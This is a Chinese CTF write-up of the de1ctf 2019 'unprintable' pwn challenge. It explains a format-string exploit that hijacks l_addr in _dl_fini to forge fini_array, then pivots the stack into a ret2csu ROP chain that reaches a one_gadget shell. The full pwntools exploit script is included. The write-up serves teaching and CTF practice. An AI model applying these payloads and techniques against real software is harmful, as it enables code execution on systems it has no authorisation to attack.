de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

161 篇文章 9 订阅
161 篇文章 9 订阅

de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,存在一个非栈上的格式化字符串漏洞,但是关闭了文件描述符1,导致不能输出,并且printf结束后就调用了exit(0)

看看栈里有没有什么可用的数据

基本没有,要想劫持printf返回地址进而多次利用,是不行的,因为printf一次性不能实现,即不能修改栈中数据指向printf返回地址后继续利用新得到这个地址取修改printf返回地址,即其不具有传递性,其值依然是之前的值,因此必须分步。

在这里,我们发现一个有用的指针,该指针指向的地方正好就对应着dllinkmap->l_addr

exit会调用dl_fini函数,我们看看dl_fini函数的源码

本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8

现在,我们劫持l_addr,使得l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到我们的buf里,这样,我们就能在buf里伪造fini_array,进而进行二次利用。

因此,第一次,我们的payload为

payload ='%'+str(0x298)+'c'+'%26$hn'

payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)

sh.sendline(payload)

这样做以后,l->addr变成了0x298,l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr处就偏移到了我们buf里,而此处我们布下了地址0x00000000004007A3,于是0x00000000004007A3处会被执行。

当第二次回到printf的时候,栈里已经有许多成链的栈地址可以用了,并且,有一个直接指向了printf的返回地址,我们可以直接利用。

这样,我们就在buf里布置下rop,然后利用printf成链攻击劫持函数栈迁移返回到buf里执行rop。

其中有一个gadget,我们可以用来将bss段上的stdout指针改成one_gadget地址,然后在csu里面进行call即可。

.text:00000000004006E8 adc     [rbp+48h], edx

#coding:utf8
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
stderr_ptr_addr = 0x0000000000601040
one_gadget = 0xf1147
offset = one_gadget - libc.sym['_IO_2_1_stderr_']

'''.text:00000000004006E8 adc     [rbp+48h], edx
.text:00000000004006EB mov     ebp, esp
.text:00000000004006ED call    deregister_tm_clones
.text:00000000004006F2 pop     rbp
.text:00000000004006F3 mov     cs:completed_7594, 1
.text:00000000004006FA rep retn
'''
adc_p_rbp_edx = 0x00000000004006E8

sh = process('./de1ctf_2019_unprintable')
#sh = remote('node3.buuoj.cn',26685)
sh.recvuntil('This is your gift: ')
stack_addr = int(sh.recvuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)

#第一步,更改ld.so里的offset,使得array函数数组偏移到bss段上的buf里,重新执行read、printf
#第一步的作用是在栈里留下了大量的栈指针
payload ='%'+str(0x298)+'c'+'%26$hn'
payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)
sh.sendline(payload)
sleep(0.5)
rop_addr = 0x0000000000601260
#利用gadget将stderr指针改为one_gadget指针
rop = p64(csu_pop)
tmp = stderr_ptr_addr-0x48
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
rop += p64(offset + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
#调用one_gadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)


rop_addr = rop_addr - 0x18
#第二次,我们在buf里布下rop,同时劫持printf返回地址,进行下一轮利用
stdout_ptr_addr = 0x0000000000601020
payload = '%' + str(0xA3) + 'c%23$hhn'
payload = payload.ljust(0x200,'\x00')
payload += rop
sh.sendline(payload)
sleep(0.5)
#接下来我们在栈里布下rop_addr
for i in range(6):
   data = (stack_addr - 0x118 + i) & 0xFF
   if data < 0xA3:
      payload = '%' + str(data) + 'c%18$hhn%' + str(0xA3-data) + 'c%23$hhn'
   else:
      payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%18$hhn'
   sh.sendline(payload)
   sleep(0.5)
   data = rop_addr & 0xFF
   if data == 0:
      payload = '%13$hhn%' + str(0xA3) + 'c%23$hhn'
   else:
      if data < 0xA3:
         payload = '%' + str(data) + 'c%13$hhn%' + str(0xA3-data) + 'c%23$hhn'
      else:
         payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%13$hhn'
   rop_addr = rop_addr >> 0x8
   sh.sendline(payload)
   sleep(0.5)
sleep(0.5)
#接下来,劫持printf的返回地址为pop rsp,使得栈迁移到buf里执行rop
payload = '%' + str(pop_rsp & 0xFFFF) + 'c%23$hn'
sh.sendline(payload)

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值